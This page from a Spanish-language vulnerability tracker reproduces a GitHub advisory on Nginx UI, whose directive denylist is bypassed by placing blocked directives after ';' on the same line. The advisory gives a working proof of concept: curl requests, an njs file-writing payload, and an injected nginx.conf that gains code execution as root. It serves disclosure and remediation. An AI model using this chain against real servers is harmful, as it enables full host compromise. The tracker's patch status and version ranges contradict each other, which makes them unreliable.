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Advisory · GitHub · Go · github.com/0xJacky/Nginx-UI

GHSA-CF23-7QXJ-XMHR

Nginx UI: nginx config directive denylist (ValidateConfigFile) is bypassable via same-line ";" separation → authenticated directive injection (RCE on the official image)

Sin parche publicado
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CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición35 dDesde la divulgación, 15 oct 2026, 3:13 p. m.
Detección32 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada
15 oct 26
19 oct 26
17 nov 26
19 nov 26
15 oct 26
24 oct 26
2 nov 26
11 nov 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-CF23-7QXJ-XMHR divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

## Summary
`config.ValidateConfigFile` is the security control that blocks dangerous nginx directives
(`js_*`, `perl_*`, `load_module` of njs/perl modules, `user root`). Its directive scanner is
bypassable: it splits the config by newlines and inspects only the FIRST token of each line, but
nginx separates directives with `;`, not newlines. Putting a benign directive first and the blocked
directive after a `;` on the SAME line defeats every check. The `include` directive is also not on
the denylist. As a result, an authenticated caller can inject the exact directives the hardening was
meant to block, through EVERY path that calls the validator — `POST /api/configs` (add), the REST
config modify endpoint (api/config/modify.go), the MCP `nginx_config_modify` tool, and the
site/stream save paths (internal/site/save.go, internal/stream/save.go). On deployments where
nginx has the njs/perl module (the official uozi/nginx-ui Docker image ships ngx_http_js_module.so),
this leads to code execution in the nginx worker; with `user root` the workers run as root.

This is distinct from the config_add gap (the MCP nginx_config_add tool not calling the validator at
all): here the validator IS called and still bypassed, so fixing config_add does not fix this.

Root cause (internal/config/validation.go, ValidateConfigDirectives)

for _, line := range bytes.Split(content, []byte("\n")) {          // splits on \n only
    trimmed := strings.TrimSpace(string(line))
    ...
    directive := firstDirectiveToken(trimmed)                      // first [a-zA-Z_]* of the line
    if directive == "user" && configuresRootWorkers(trimmed) { ... }     // keyed on first token
    if directive == "load_module" && loadsRestrictedDynamicModule(...) { ... } // keyed on first token
    if _, blocked := blockedConfigDirectives[directive]; blocked { ... }      // keyed on first token
}

nginx parses `a 1; b 2;` on one line as two directives, but this scanner only ever sees `a`.
`include` is absent from `blockedConfigDirectives`.

## Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — VALIDATED paths only
Authenticated with a node secret (`X-Node-Secret`, from nginx-ui's first-boot log) or a user JWT.
Every step below hits a path that calls ValidateConfigFile.

1) Baseline — validator works on a plain line:

curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \
  -d '{"name":"x.conf","base_dir":"","content":"js_import a.js;","overwrite":true}'
# -> 40017 "file content contains restricted nginx directive: js_import"   (REJECTED)

2) Create the njs module file via the VALIDATED REST add (JS source is not nginx directives, so it
passes ValidateConfigContent):

poc.conf:
  import fs from 'fs';
  function pwn(r){ fs.writeFileSync('/tmp/NJS_VIA_DENYLIST_BYPASS.txt','denylist-bypass-rce-ok\n'); r.return(200,'pwned2\n'); }
  export default { pwn };
curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \
  -d '{"name":"poc.conf","base_dir":"","content":"<the JS above>","overwrite":true}'   # ACCEPTED

3) Overwrite the main nginx.conf via the VALIDATED `nginx_config_modify` MCP tool, smuggling each
blocked directive after a benign one on the SAME line (this is ACCEPTED by ValidateConfigFile):

worker_processes 1; load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
error_log /var/log/nginx/error.log notice; user root;
pid /run/nginx.pid;
events { worker_connections 1024; }
http {
    include /etc/nginx/mime.types;
    default_type application/octet-stream; js_import poc from /etc/nginx/poc.conf;
    server { listen 8897; location = /pwn3 { js_content poc.pwn; } }
}

4) Reload. Result:
- `nginx -t` successful.
- worker `/proc/<pid>/status` → `Uid: 0 0 0 0` (root) — the blocked `user root` took effect.
- `GET http://127.0.0.1:8897/pwn3` → `pwned2` — js_content executed.
- `/tmp/NJS_VIA_DENYLIST_BYPASS.txt` created, owned by root → njs code execution as root.

(An MCP-over-SSE client for steps using nginx_config_modify is included in the config_add report as
`poc_mcp_client.py`; the same client drives this PoC. `X-Node-Secret` authenticates both REST and MCP.)

## Impact
Authenticated config-injection that defeats the directive-validation control on all guarded write
paths. On deployments with njs/perl available (the official Docker image ships ngx_http_js_module.so):
code execution in the nginx worker and, via `user root`, arbitrary file read/write as root (trivially
escalated to full host compromise). On stock nginx without those modules: reliable DoS (failed
reload) plus `user root` privilege regression.

## Honest scope / caveats
- Authenticated (node secret or user JWT), agent-mediated — not unauthenticated.
- What was live-verified: the bypass + full RCE on `POST /api/configs` (add) and the MCP
`nginx_config_modify` tool. The other callers — REST config modify (api/config/modify.go), site
save (internal/site/save.go), stream save (internal/stream/save.go) — invoke the SAME
`ValidateConfigFile` (code-confirmed), so they are affected by construction; I did not individually
live-test each.
- RCE is conditional on the njs/perl module being present; it ships in the official image, so the
default Docker deployment is exploitable. On stock nginx without those modules the injected
`load_module`/`js_*` make reload fail → DoS plus a `user root` privilege regression (inferred from
nginx module behavior; not separately tested on a stock build).
- The `;` and `include` bypasses are fully confirmed live. A backslash line-continuation variant was
accepted by the validator but its nginx parsing was not separately confirmed and is not relied on.
- "Full host compromise" describes the capability of root file read/write via njs `fs` (proven: a
root-owned file was written); the subsequent authorized_keys/cron step is a well-known escalation,
not something this PoC executed.

## Suggested fix
Do not hand-roll a newline/first-token denylist. Validate the way nginx parses: split statements on
`;` (and handle blocks, comments, line continuations), validate EVERY statement, block/limit
`include`, and recurse into included files — or validate via an allowlist and/or by running
`nginx -t` on the candidate before activating it.

## Dedup / novelty
Distinct from CVE-2026-33032 (unauthenticated MCP endpoint — an auth issue, now fixed) and from the
separately reported config_add validation gap (a missing validator call on one path). This is a
bypass of the validator itself, affecting every path that calls it; no existing CVE/GHSA covers it
(checked osv.dev and the GitHub advisory database for this repo). Appears novel.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
github.com/0xJacky/Nginx-UI< 1.9.10-0.20260703131214-23d1934099b0
v1.9.9
1.9.10-0.20260703131214-23d1934099b0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/0xJacky/Nginx-UI
Sin parche — — v1.9.9 afectada
Versiones corregidascommit 23d1934
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-84316
Otrahttps://github.com/0xJacky/nginx-ui/security/advisories/GHSA-cf23-7qxj-xmhr
Otrahttps://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2
Otrahttps://github.com/0xJacky/nginx-ui
Otrahttps://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1

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